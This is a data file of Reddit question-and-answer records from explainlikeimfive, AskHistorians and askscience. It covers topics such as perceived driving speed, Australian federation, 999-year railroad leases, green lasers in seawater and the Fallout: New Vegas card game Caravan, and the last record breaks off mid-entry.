{"q_id": "a8r19z", "title": "why does driving 50mph on a busy street feel faster than 100mph on an empty highway?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a8r19z/eli5_why_does_driving_50mph_on_a_busy_street_feel/", "answers": {"a_id": ["eccxy5e", "ecczx2y", "ecd0gl2"], "score": [7, 6, 5], "text": ["I think because of the space around you. In busy streets there are lots of people walking,lot of Cars,ecc. On an empty highway you have a larger Place without people walking,Cars,ecc. \nIMHO it's your concept of space around you that makes the difference.", "Its a combination of greater perceived risk, because of the proximity to obstacles, which makes you more cautious and aware of your velocity - and that you need things around you to gauge relative motion. ", "The empty highway has fewer indications that you've travelled a distance. Also, the risk/danger factor. On a busy street (or even a smallish side street) 50mph is possibly pushing the edge of your reaction time for how far ahead you can see. If a danger appeared right at the edge of your vision, could you stop in time to not crash. \n\n10 mph can feel fast. I've driven a vehicle in warehouses where you have 6-7 INCHES between the edge of your vehicle and the shelving (turning sideways, I can barely squeeze myself through the gap and I'm thinner than most). Thankfully the steering is automated for that stretch and it actually, it tops out around 6-7 mph, but it's still nervous (especially if you're carrying a pallet that you suspect may be overhanging a bit). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "c0062v", "title": "why are there so many trilogies? why the combination of exactly 3 books/movies is so common? why we don't hear much of duologies, quadrilogies etc.?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c0062v/eli5_why_are_there_so_many_trilogies_why_the/", "answers": {"a_id": ["eqz2ep6", "eqz9cn2", "eqzeqp2"], "score": [33, 10, 9], "text": ["You set the characters up in the first book, go through traumatic experiences and hype the villain up in the second book, and beat the bad guy in the 3rd book. Really easy format basically", "The reason is because of the 3 Act Structure. The 3 Act Structure is the most common narrative you have probably encountered.\n\nWhile each movie goes through the 3 Act Structure, with a trilogy, each movie can also be an act of a larger meta story.\n\nThat's why you see so many trilogies.", "The three act structure is a very efficient way to structure a story. \n\nAct One is the setup. The story is giving you information about the world, important information to the story or simply give you an image of the everyday life of the character. Then you have the inciting incident, which is the catalyst that will set the story in motion, and finally the main character take the first step into the story.\n\n & #x200B;\n\nAct Two is the Confrontation. The protaganist start to learn about the challenge of the story and encourter the first problems. That's usually where you start to know more about the characters and the big conflicts in the story. Then there is a big moment, sometime it's because something goes horribly wrong. This is when the protagonist goes from passive passenger to active actor in the story. \n\n & #x200B;\n\nAct Three is the resolution. This is where the protagonist engage with the antagonist and you start to see his true power and usually win over the protagonist before the final confrontation where the protagonist need to learn from the past failure to finally win the day and give us a satisfying ending.\n\n & #x200B;\n\nOf course that's just a generalization, but the 3 act structure is just really effective and can be use a different level. You can use it for a really important moment in a story, you can use it for the whole story or use it for 3 differents movie in a bigger story. Take Lord of the Ring for example.\n\n & #x200B;\n\nThe first movie you have the setup. Things are relatively normal in the world, we have the ring, we decide to go destroying the ring, but the group is seperated and each member decide to continue their own part in the journey.\n\nThe second movie you have the Confrontation. Now each of cast are in their own Journey and they start to dicover the true nature of their challenge. Frodo meet Gollum while Aragorn pursuit the Uruk-hai. But then thing go horribly wrong. Helm's Deep is under attack and is about to fall, but is saved at the last minute, while Gollum is creating doubt in the mind of Frodo and leading him into a trap.\n\nThe third movie is the resolution. This is where Frodo really face the true strenght of his antagonist, Gollum show his true face and Frodo need to face his own internal demons carrying the ring, but in the end is able to finish the job. While Aragorn need to face his duty as the King to recruit to Army of the Dead to fight in the final battle against Sauron to allow Frodo to reach the volcanoe. \n\n & #x200B;\n\nBut each movie also had a 3 act structure in them. In the first movie we see the everyday life of the hobbit, then they find the ring and Frodo decide to carry the ring to the council, that's the first act. The second act is where the group face their first obstacle when Frodo get stabbed, before reaching the mid-point when the fellowship of the ring is formed to bring the ring to Mordor. Finally you have the third act, the resolution. Here we face the true nature of the protagonist, they are facing the orc for the first time, but then Gandalf ''die'' the group flees and end up seperated."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "965aio", "title": "When Australia was being organized into a political entity, was any serious consideration given to having Western Australia or Tasmania be separate political entities (like NZ and PNG)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/965aio/when_australia_was_being_organized_into_a/", "answers": {"a_id": ["e3xv2vl", "e3xxtcw", "e3znoqt"], "score": [2, 2, 5], "text": ["I'm not sure about WA but Tasmania and NZ used to be territories of the 'colony of NSW' and NZ did participate in federation discussions for a while. Tasmania became a separate, self-governing colony under the name Van Diemen's Land (named after Anthony van Diemen) in 1825. In 1854 the present Constitution of Tasmania was passed and the following year the colony received permission to change its name to [the colony of] Tasmania. In 1901 it became a state through the process of the Federation of Australia.", "Federation was an exclusively British agenda. In the latter part of the 19th century there were a few European powers with interests in the region. Northeastern Papua, Nauru and Samoa were under German control, the French had New Caledonia and Vanuatu, Indonesia including West Papua was a Dutch possession, and the Portuguese controlled East Timor. Federation was, in part, an effort to consolidate and strengthen the British colonial presence in the South Pacific. Nevertheless, it took place on an opt-in basis, and was controversial even within and between the colonies of the Australian mainland themselves. British colonies New Zealand and Fiji sent representatives to the Federation Conference and their governments considered the question, but they ultimately opted out.", "Yes. In the decade before the turn of the 20th century, there were six Australian colonies - NSW, Victoria, South Australia, Queensland, Tasmania and Western Australia (Western Australia had only become a self-administering colony in 1890). In this period, Britain was encouraging its dominions to amalgamate for more efficient management, and there were constitutional conventions in 1891 and 1897-98, In order to Federate, there needed to be referenda where a significant majority of each state voted in favour of Federation, or that state would not become part of the Federation.\n\nAs a result, there was a series of constitutional referendums between 1898 and 1900 in the six Australian colonies. In each of those, a majority was obtained, and Australia was duly federated. Tasmania had very high levels of desire to become part of Federation; its 1899 vote had 94.4% of voter voting in favour of Federation - so clearly Tasmanian citizens with voting rights were in favour of the benefits of Federation.\n\nYou can see some campaign posters for these referenda (from South Australia) [here](_URL_0_) and [here](_URL_1_).\n\nWestern Australia's presence in the Federation were more contingent, and their presence in the Australian federation is to some extent an accident of history. If there hadn't been a gold rush in the 1890s in Western Australia which brought in a large amount of people from the other colonies (who ended up voting in the 1900 referendum on whether to join), Western Australia would likely not have joined the federation. Previous to the gold rush, Western Australia had done well out of exports to the other colonies (for which the state charged tariffs), and those tariffs were phased out under federation. Further, federal tariffs on agricultural products, once Western Australia had signed up, harmed the predominantly agrarian Western Australian economy in comparison to the more industrialised East.\n\nThe perception that Western Australia was getting a bum rap from the Federal government culminated in a referendum of Western Australian voters in 1933, in which around two-thirds of the Western Australian public voted for secession. This was put to the British parliament, who said it could only lawfully happen with a referendum of all the other states on the matter - which never happened.\n\nSources: \n\n* Stuart McIntyre (2004) *A Concise History Of Australia, 2nd. Ed*\n\n* Thomas Musgrave (2003) 'The Western Australian Secessionist Movement', *Macquarie Law Journal, Vol 3*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.slsa.sa.gov.au/federation/slides/5/1FD_PM06_May1898Benefits.htm", "http://www.slsa.sa.gov.au/federation/slides/7/1FD_PM01b_1899AntiCWLeague.htm"]]}
{"q_id": "may0v", "title": "why do v8 engines have a deeper sound then v6 (or smaller) engines?", "selftext": "What is the science behind it?  Does it have to do with the volume of exhaust being produced?\n\nWhat if there were a V6 that had more liters than a V8?\n\nEDIT: Sorry for the typo, *THAN   >  < ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/may0v/eli5_why_do_v8_engines_have_a_deeper_sound_then/", "answers": {"a_id": ["c2zh91l", "c2zhbkr", "c2zh91l", "c2zhbkr"], "score": [10, 6, 10, 6], "text": ["ELI5: They are bigger.\n\nELI12: They have more displacement (volume in their cylinders), so they are moving and disturbing a greater volume of air (exhaust). But also keep in mind, that your experience with loud V-8 might be in applications where a nice exhaust note is desired. The exhaust system may be designed to be louder in the sample of V-8s you are thinking of.", "Every engine has it's own characteristic noise depending on design. Then there is tuning done through the exhaust. Really nothing more to it than that.\n\nNot all v8s sound exactly alike, but they are similar. Same with any other engine really. \n\n", "ELI5: They are bigger.\n\nELI12: They have more displacement (volume in their cylinders), so they are moving and disturbing a greater volume of air (exhaust). But also keep in mind, that your experience with loud V-8 might be in applications where a nice exhaust note is desired. The exhaust system may be designed to be louder in the sample of V-8s you are thinking of.", "Every engine has it's own characteristic noise depending on design. Then there is tuning done through the exhaust. Really nothing more to it than that.\n\nNot all v8s sound exactly alike, but they are similar. Same with any other engine really. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "88jdtu", "title": "why are ads considered acceptable in mobile apps while they are the worst thing ever when put in pc apps?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/88jdtu/eli5_why_are_ads_considered_acceptable_in_mobile/", "answers": {"a_id": ["dwl1f7w"], "score": [7], "text": ["It's a matter of history, and of the platform.\n\nTechnically, there have been 'apps' on the PC since before the internet took off. And software was primarily bought and sold for a long time (there were of course, shareware and freeware and adware and abandonware). There definitely were ads in PC apps but it just never became a mainstay.\n\nWhen smartphones became a thing, two underlying expectations formed in people's minds: one, that it's almost always connected to the internet. Two, that most apps are going to be free, modeled after websites (google and facebook are free, aren't they?). Even if one developer made an app that costs a few bucks, there would be a clone of it in a few days which someone would whip up, which would be free. So this all led to it becoming a breeding ground for adware, and \"freemium\", and all sorts of things.\n\nBut yeah, i'm no expert, but as the different platforms converge (they already are in other spheres! the whole mobile-friendly ui design thing happened), i'm pretty sure it will be more and more \"acceptable\" (by the companies, not by the customers :P) to put ads on PC. Does windows start menu not already have ads? Does it not already download things behind your back? Yep. Yep it does.\n\nTl;dr just history, and it will all converge pretty soon"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1gmr7y", "title": "What rationale was there for 999-year leases in the early railroad industry?", "selftext": "I take a passing interest in the history of rail infrastructure, and noticed an unusual amount of 999-year leases being struck on rail lines in the late 19th to early 20th century. I've noticed 999-year leases on other things (there's a Wikipedia article for it), but railroads seem to do this a lot. It seems rather odd to someone in 2013, considering how unprofitable and monopolistic railroads are today. Why not just a 99-year lease?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gmr7y/what_rationale_was_there_for_999year_leases_in/", "answers": {"a_id": ["calqcr3", "calv9jh", "calvxbh"], "score": [95, 9, 2], "text": ["Well, it's important to know a few things.\n\nFirst of all, 999 year leases are just the Common Law way of putting a number on \"a very long time.\"  [This article](_URL_1_) goes into some detail on its origin, although I wish I could find a different source.\n\nSecondly, almost all railroads in history have been built with public subsidy of some form or another.  The process of building a rail line, even one that is profitable, is a huge capital expense and one that is prone to large amounts of risk while under construction.  Governments would often grant leases along right-of-ways to railways both to encourage construction, as well as provide a pattern for future development.  For example, the [Canadian Pacific Railway](_URL_0_) was awarded grants of land totaling the size of England to finance its construction, as well as tens of millions in loans.  However, these grants would not have been wholly useful if they were 99-year leases (the typical limit for physical properties), because their return to government hands would either give the government massive leverage over the railway, or would break up the established right-of-way.\n\nAnd lastly I should note that against public perception (particularly in North America), railroads are neither unprofitable nor monopolistic.  Most of Europe's major national rail companies (Deutsche Bahn, SNCF, NS, SBB, etc.) turn profits, as do Japan's privatized companies.  Particularly with regards to high-speed rail.  And while some companies might have a monopoly in mode, trains are just one part of the larger transportation market.  They may have had a monopoly on long-distance transportation in North America during the 1800s (such that, for example, Canadian wheat farmers nurtured a hatred for the CPR), but they certainly do not anymore.", "I'm reading these comments \"railroads aren't profitable\", \"arn't as important\"....\n\nI'm willing to bet something on your work-station *right now* was shipped by rail. Most likely the seat, desk, coffee cup, and mouse. Our American Freight-rail lines are expanding, the companies are doing quite well, and without rail our shipping capacity would drop enough that the economy would cease to function. Further,  most employers in a place like Manhattan, or San Francisco, depend on commuter-rail to keep white collar employees. \n\nI have no time to cite this, I'd be surprised if I'm not downvoted...but rail is still fundamental. Mile for mile, most of the track is still (very) profitable. A thousand-year lease makes more sense when you look at the *permanency* of what they were building. In the mid-19th century, nobody could predict combustion or flight or even bicycles...but that rail they were laying is still being used. They were thinking long-term. ", "I'm not sure where to add this into the discussion below. I agree with most of what was written, and while not a historian, I own something like 30 books on railroad history (and I did focus on the United States and Canada). It is also something my interest has waned on a bit, if I am to be honest.\n\nMany of the reasons stated below for the 999 year lease are fairly accurate by my understanding. Additionally though, one of the things that the 999 year lease gave the companies was some protection from the anti-trust battles going on around the turn of the 20th century. Often they stipulated how profits would be divided, who would pay for maintenance and how it would be done, so that ownership at a legal level was not going to run afoul of the anti-trust laws in place at the time. Later legal cases somewhat invalidated this view, but honestly just off the top of my head, the majority of these long-term leases were put into play sometime between say 1870 and 1900, when the legal environment was rapidly evolving."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.collectionscanada.gc.ca/canadian-west/052920/05292073_e.html", "http://www.straightdope.com/columns/read/126/why-are-leases-made-for-99-year-terms"], [], []]}
{"q_id": "8zvcib", "title": "why is mgm resorts suing the victims of the las vegas massacre?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8zvcib/eli5_why_is_mgm_resorts_suing_the_victims_of_the/", "answers": {"a_id": ["e2lmy2r", "e2lo084", "e2loh6m"], "score": [14, 6, 2], "text": ["It very much seems like a terrible PR decision.\n\nLegally speaking, they're looking for a declaratory judgment, which would be a way to get a court to state that they're not liable, without having to wait to be sued. That's not too uncommon in complex liability cases where there are a lot of parties who might have some stake in things, and people are eager to get things resolved. It could be negotiated instead, but if there are hundreds of possible claimants, this is a lot simpler.\n\nSo, it makes SENSE, in a world where people are only looking at final legal outcomes. But in one where publicity and appearances matter - and they really do, for a company in a customer service business! - it's a disaster.", "This isn't a PR move.  This is a \"we might be on the hook for hundreds of millions of dollars if we don't play this right, so fuck PR.  We have to play this one on hard mode even if the PR blows up in our face.\"\n\nThe TLDR  &  extreme simplification is that if a company (the casino here) meets a minimum standard for security, set forth by the Support Anti-Terrorism by Fostering Effective Technologies Act, they are deemed to have done a good enough job and are therefore immune from lawsuits. MGM is trying to say they are protected b/c they hired a security company certified by the DHS.\n\nAnother thing to understand is that legally speaking, 'sue' doesn't always mean 'get money'.  More broadly, 'sue' means 'get the power of the court to force [*insert X*] to happen'. Sometimes thats 'gove me money' but in many other cases it means 'cause some legal/administrative thing to happen'. MGM is preemptively trying to get a judge to agree that they met the Support Anti-Terrorism by Fostering Effective Technologies Act standards and are therefore immune from liability.  \n\nThe victims are trying to say 'no' which breaks into variations on 1) this wasn't terrorism, per se, 2) this grants federal protection but not state protection, 3) the SAFE-T act only partially applies b/c even though the security staff was DHS approved, they should have also [insert X], 4) simply hiring some DHS certified securitiy guys does not constitute 'good enough', 5) this was an obvious danger that was ignored, 6) some other flavor of negligence, 7) 'other'.\n\nThere won't be any money changing hands as a result of MGM suing; however, depending on how the judge rules, it will have a gigantic impact on future court cases involving the MGM shooting.\n\n", "MGM hired security from DHS for the concert, and there is a patriot act era law where if you use DHS approved security you're protected against financial damages should a thing occur.  However, the shooter was set up at the hotel, which does not have DHS security.  MGM argues it doesn't matter since I guess the bullets hit people at the concert, whereas others are saying it's an important distinction and that MGM should be liable as their security was responsible for being suspicious about a dude bringing some ~21 cases of luggage for a stay."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "22ixvx", "title": "why are we sure that forces (like gravity) will continue to apply to masses forever?", "selftext": "Seems like a stupid, trivialquestion, but I've been wondering, Why are we so sure that 2 bodies will attract each other forever and not suddenly stop?\n\nWhat makes forces eternal?\n\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22ixvx/eli5_why_are_we_sure_that_forces_like_gravity/", "answers": {"a_id": ["cgn8yv4", "cgn90vm", "cgn96u0", "cgn97fw", "cgnad5r"], "score": [5, 6, 2, 22, 31], "text": ["For one thing, there is no evidence to the contrary.", "There's no evidence that they will ever stop, so we act like they will stay the same forever because it's the most likely situation.\n\nIf we started seeing evidence of forces stopping or wearing off then we'd incorporate that into our theories.\n\nI say \"we\" meaning humanity, I'm not trying to portray myself as a Physics grandmaster.", "Honestly we don't, but we use that as an assumption based on the fact that it hasn't changed in the past.", "Inductive reasoning; our findings so far promote that idea, but only untill we find an evidence that supports the contrary.\n", "There is evidence that gravity has worked for billions and billions of years. We can't say that tomorrow it won't stop, but only that's it's so incredibly unlikely that it's not worth thinking about. It's like saying \"How are we sure a unicorn isn't going to kill me five minutes from now?\" Well, unicorns probably don't exist. But if you're bleeding to death from a unicorn goring, please present your evidence to scientists (and Reddit) before you expire."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1lp9rg", "title": "Shining A (Green) Laser Vertically Down The Ocean", "selftext": "Hi fellow Redditors.\n\nOn my way to work in the morning I drive past the ocean. Having been the passenger today, and by chance having my green laser pointer with me, I started wondering what kind of distance the beam would  be able to reach when shining it vertically down the ocean.\n\nMy laser has a 20 mW rating and can shine 3km, according to it's booklet.\n\nI found this video, which explains some of the capabilities of green lasers with different mW: _URL_1_\n\nFor starters, I had no idea that one could pop balloons at 50 mW, let alone be able to light a match at 100 mW or cut plastic at 150 mW!\n\n(There's also a second part, which looks at lasers from 200 mW - 2W: _URL_0_)\n\nSo: \n\n* Would any of these laser beams be able to reach the ocean floor?\n* According to Wikipedia, the oceans' average depth is 3,790 meters (12,430 ft), with a max. depth of 10.911 km (6.831 mi). Is there a max. depth any *available* laser could reach and would a 50 mW laser be sufficient to hit the average-depth floor?\n* How much influence does refraction have on the beam's reach?\n* Hypothetically, if I were to stand on the ocean floor, let's say 3km down, and shine a laser upwards, would it pierce the ocean's surface? Would it refract at a given angle?\n\nThanks in advance for any insights.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lp9rg/shining_a_green_laser_vertically_down_the_ocean/", "answers": {"a_id": ["cc1fw3b", "cc1jet4", "cc1ojay"], "score": [19, 5, 2], "text": ["There's nothing intrinsically special about green laser light in its transmission through a material. So the answer provided to [this question the other day is relevant](_URL_0_).\n\nBasically you would be looking at 63% attenuation every 80 meters (assuming perfectly clear water with no particles, plankton etc). So, throwing that into a quick spreadsheet, you have attenuated 99.9% of the energy at a depth of about 560 meters, and 99.99% by about 900 meters.\n\nIn other words, a 50 milliWatt laser would be reduced to the intensity of 0.005 mW at about 750 m depth in crystal clear water (which doesn't exist).\n\nBasically, because light attenuation in water through scattering and absorption happens rapidly, even 2 W lasers are attenuated down to 3.04 x 10^-14 W by 2500 m. And realistically that attenuation value is going to be significantly higher\n\nEDIT: Here's a graph showing transmission rates using my quick spreadsheet _URL_1_", "There are no laser beams that I know of that would be able to reach the ocean floor.  The two driving factors in determining how far a laser will penetrate ocean water are wattage and wavelength.  [This figure](_URL_1_) shows the wavelength-dependence of how much light the water will absorb.  As you can see, water is most transmissive in the blue-green regime of the visible spectrum.  (Interesting side-note: water is SO absorptive at longer infrared wavelengths that even a few millimeters of water on top of a silver mirror renders the mirror totally non-reflective: [Reference](_URL_0_)).  So, because you've got a green laser your beam will travel farther through liquid water than most.  However, as /u/OrbitalPete has pointed out, just because the absorption coefficient is lower doesn't mean it's negligible.  His (assuming Pete means he is a male redditor) numbers seem accurate in terms of how far your laser will travel, given the power you stated.\n\nStill, we know that ocean water is not pure H2O.  There is a lot of particulate matter down there, which will dramatically increase the amount of absorption and scattering in the beam path.  Because of this, your laser's depth will be dramatically decreased from ~900m to as little as ~100m (again this depends on turbidity, like if you are in the Bahamas vs. New York Harbor).  \n\nNext, I'd like to address your question on refraction and its influence on the beam's reach.  You've probably heard of \"index of refraction\".  The index of refraction is a convenient way we have to describe the way light interacts within certain materials, and at interfaces between two materials.  One thing that's important to note is that index of refraction is a complex number.  The real part describes how fast light travels through that material, and the imaginary part describes how much the material absorbs light.  Air has an index of refraction of very close to 1 (actually 1.0003) and water has an index of refraction of about 1.35.  This simply means that the light travels slower through the water than it does through air.  This speed difference creates a predictable angular deviation at an air-water interface described by [Snell's Law](_URL_2_).\n\nSo for your last question, we have demonstrated that your laser would not penetrate the ocean-air interface.  However, if we assume you are standing maybe 30m below the surface, then we can talk about it.  In still water, if you shine a laser beam straight up to the surface (meaning the laser hits the water-air interface exactly perpendicular to the water surface) then there is no angular deviation of the beam.  However, since the ocean surface is full of waves, the beam will refract according to whatever angle the wave surface forms relative to the beam.\n\nHope this helps.", "3km of water - your laser most likely won't make it through. Absorption is just too big.\n\nAt 10km, the laser would have to be so powerful, it would start boiling the water, therefore scattering the beam.\n\nRefraction plays no role. Absorption is important.\n\nRefraction at an angle is identical no matter which way the beam is going, either in or out. Optical paths are reversible.\n\n---\n\nBTW, regarding your other comments: you could pop balloons at 50mW, but it's pretty hard. The beam needs to be focused fairly well. It also helps if the balloon is black, or a color complementary to the laser's. It gets easier above 100mW.\n\nYou could also poke holes in paper at those power levels. Again, it helps if the colors are right.\n\nHere's a demo I did a while ago, using different colors, power levels, and materials:\n\n_URL_0_\n\nWord of caution: Any laser above 5mW (class IIIb and beyond) can potentially cause harm. Depending on where you live, it may or may not be illegal to be horsing around with a 20mW laser like that.\n\nThere are goggles you could purchase, depending on the laser's wavelength (any given goggles would only work with a certain laser wavelength), that will give some protection against accidental exposure.\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": ["http://youtu.be/d1pXhhtUaso", "http://youtu.be/woiTedSKPrk"], "answers_urls": [["http://www.reddit.com/r/askscience/comments/1lc9gf/how_far_would_light_penetrate_water_if_there_were/", "http://i.imgur.com/EsQM1XK.jpg"], ["http://i.imgur.com/RJBGnPI.png", "http://i.imgur.com/XtqlaoW.png", "http://i.imgur.com/KdAwKg7.png"], ["http://www.youtube.com/watch?v=8gP2UrH_xoI", "http://en.wikipedia.org/wiki/Laser_safety"]]}
{"q_id": "da90i2", "title": "The Young Samurai Series is a series of young-adult books set in Japan in 1611 to ~1616. In the series, women are apparently considered complete equals in fighting and warfare by both the Samurai and the ninjas. How accurate is this depiction? What role (if any) did women have in battle in that era?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/da90i2/the_young_samurai_series_is_a_series_of/", "answers": {"a_id": ["f1o4nq7"], "score": [3], "text": ["/u/parallelpain actually just addressed a similar question [here](_URL_0_) which may be of itnerest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/da1g17/how_often_did_female_samurai_exist_and_fight_in/f1ny5j0/"]]}
{"q_id": "ihpqg", "title": "Is it possible to create a topographically hostile environment for bacteria?", "selftext": "In other words, does such a surface exist that either deters or prevents the growth or build-up of bacteria purely because the surface has a certain feature (like craters, ridges, or hooks)? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ihpqg/is_it_possible_to_create_a_topographically/", "answers": {"a_id": ["c23uitr"], "score": [3], "text": ["Yes, surface stiffness has a startling effect on biofilm growth and propagation.  (In case you don't know, a biofilm is an an aggregate of microbes, that form a sheet or \"film\".  Like bacterial colonies which grow primarily in the lateral plane respective to the surface.)\n\n\nResearchers at MIT verified this hypothesis a little over 3 years ago.  Decreasing basteria adhesion to a surface prevents growth and aggregation.  You can read their findings [here](_URL_0_), but essentially, if you alter the stiffness of a material (not hardness!) you can inhibit bacterial pili from attaching."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://web.mit.edu/vvgroup/vvpub/lichter-biomacromolecules.pdf"]]}
{"q_id": "1e1h13", "title": "How did Han ideals of female beauty change after the invasion of the Manchus and the beginning of Qing rule? How did Manchu ideals of female beauty change?", "selftext": "I am just curious. I know Manchu women were not allowed to bind their feet and the princesses of the Qing court were ordered to dress and act a certain way. I also know that the modern qipao is a descendant of Manchu fashion. \n\nI just want to know the extent that this cultural exchange changed Chinese fashions and standards of beauty for both the Han and Manchu peoples, or other ethnicities for that matter.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1e1h13/how_did_han_ideals_of_female_beauty_change_after/", "answers": {"a_id": ["c9vz1u4", "c9w1krt"], "score": [48, 11], "text": ["The long ponytail or the queue was for men. It was traditionally a Manchu style which they made law once they took power and installed there Banners. It was resented by most Han and other cultures in China. \n\nFeet binding has a long history in China with it being in style, then banned, then in vogue and then banned again. Its important to consider when the Manchus came to power they wanted to blend into Han culture to be accepted as leaders well remaining distinct from the Han because of racist (in terms of culture) attitudes. \n\nI studied Eastern History with an emphasis on China. Since no one has attempted to answer I felt I could offer some insight. However I recommend googling academic sources as I know there was many on this topic discussed in classes but I can't remember the names (never particularly interested me I was more of a war historian).\n\nedit: qipao: meant to be queue ", "Apologies in advance for not providing a complete answer to your question, but one interesting aspect of this is the link to Russo-Qing relations in the seventeenth and eighteenth centuries. Essentially, throughout this period China was very significant for Russia because it was a market for Siberian furs. This is actually pretty unusual, because by and large China is much warmer than Russia and there was no real culture of fur consumption--before the Qing conquest. See, unlike the Chinese, the Manchus came from a place in which fur trapping was a highly significant part of the hunting culture and which was cold enough that wearing furs was seasonally appropriate. As a result, even after the conquest, when essentially all the important Manchus relocated to Peking, there was a fashion for decorative furs which marked you out as a Manchu aristocrat (the most important kind was, I believe, black fox). \nThese furs were bought from the Russians under fairly onerous conditions but in numbers large enough to possibly constitute something like 10-20% of the Russian exchequer when the trade at Kiakhta was active. It is unlikely that all the furs would have been bought by Manchus, since there simply weren't that many of them and most were not very wealthy. I imagine high-ranking Chinese in search of some Manchu swag were among the prime customers.\n\nAlso, maybe this isn't strictly relevant, but I recently came across this great observation in John Bell's [*Travels*](_URL_0_) (1763, describing Peking around 1720):\n\n > The 6th, while walking through the street, I observed an old beggar picking vermin from his tattered cloaths, and putting them into his mouth; a practice, which, it seems, is very common among this class of people. When a Chinese and Tartar [Manchu] are angry at one anohter, the Tartar, in reproach, calls the Chinese louse-eater, and the latter, in return, calls the other fish-skin coat; because the Mantzur Tartars, who live near the river Amoor, subsist by fishing, and, in summer, wear coats made out of the skins of fishes. But this habit is used only in summer; for, in winter, they wear furs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://books.google.com/books?id=M25BAAAAcAAJ"]]}
{"q_id": "3nwt5v", "title": "how do you play caravan in fallout: new vegas?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nwt5v/eli5_how_do_you_play_caravan_in_fallout_new_vegas/", "answers": {"a_id": ["cvrzrio"], "score": [3], "text": ["Caravan is mainly about getting the basics right. If you get them down well then you can win a lot of money.\n\nOkay, so you have the 3 tracks (the 3 columns). Each one needs to be between 21 and 26 for you to be able to win it and you have to win 2 of the 3 tracks to win. If the track is over 26 you go bust, but you can discard the pile. The winner is the person with the two higher tracks once the third is completed (both are in range and a winner exists).\n\nYou start by putting a card in a track. You want this card to be either low or high, not a middle card (like 5 or 6) unless you know you will be able to reverse the order when you need to. Then the next card in that track will determine if you place cards in ascending or descending order. You have to go in the direction of that caravan. The exception to this is if you have a card of the same suit as the one on the bottom. If you say, play a diamond on a diamond, it reverses the direction of the caravan and also it ignores the current order when you place it. (So if you are descending and have a two down, you can place a 3 and reverse the direction, as long as the card is the same suit). This is the basic heart of the game. Either reverse the direction, or keep the chain going until you are at 26.\n\nBut it can't be that simple. That's why there are face cards. You will probably often mix up which card does what. \n\n* **Jacks:** Jacks are simple. They remove a card from the track and any face card that has been played on that card. You can use this on your opponent's tracks too.\n\n* **Queens:** Queens reverse the direction of the track. They don't have a numeric value and they ignore the suit rule for changing the order. So you swap from ascending to descending (or vice versa) from the last card you played rather than from a card with a different value. \n\n* **Kings:** Kings double the value of any card. This can be used to bring you up to 26 or to put your opponent over 26. If he has a jack ready he can just get rid of the card with the king on it, but if he doesn't he'll be forced to start that track over since he has no way of bringing it down. \n\n* **Jokers:** Jokers are a bit confusing. If you put them on a number card it will remove all other instances of that card in the game, including ones in your tracks, but ignoring the track the joker was played on. If you play it on an ace, it removes all instances of that suit in the game except in the track that the joker was played on. Jokers can cause a lot of collateral damage and you should take caution when you use them. They can do a lot of damage to your opponent, but also do a lot to you at the same time. \n\nI'm sure you've seen that you can buy cards from miscellaneous vendors. Some of them sell cards from different casinos. The ones from other casinos just mean they have a different back,  they don't actually affect the rules of the game. But you can get cards of more numbers you need or more face cards. If I remember correctly, your starter deck is just like a basic deck of cards you'd see anywhere, but you can put more cards in it, and take out ones you don't plan on using. And the cards you put in and take out depend on your strategy and what you have. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4i8o7x", "title": "Why is the answer for Earth's Schwarzschild radius: the volume Earth would have to be compressed in order to form a black hole, exactly the same when derived either from Newtonian mechanics or General Relativity ?", "selftext": "I saw [this post](_URL_0_) and someone did a mathematical calculation for the radius :\n\n > The formula for escape velocity is Vesc = sqrt(2GM/R)  where G is the gravitational constant, M is the mass (of the Earth, in this case) and R is the radius in question. \n\n > If we plug c (speed of light) in as Vesc, G = 6.67408 \u00d7 10-11 m3 kg-1 s-2, and M = 5.972 \u00d7 1024 kg, we can solve for R.\n\n > R = 0.8870 cm\n\nSomeone else later mentioned that :\n\n > The funny thing is that what you did is the classical Newtonian gravity calculation, but in a universe where Einstein's General Relativity is in effect there is no reason to expect that calculation to actually be true. It took tons of work after GR was discovered before Schwarzschild managed to do the calculation and figure this out (Einstein couldn't do it)... and the answer was exactly the same.\n\nI want to know why? Was the general approximation in Newtonian physics relevant here or was there some other reason ?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4i8o7x/why_is_the_answer_for_earths_schwarzschild_radius/", "answers": {"a_id": ["d2w4bvw", 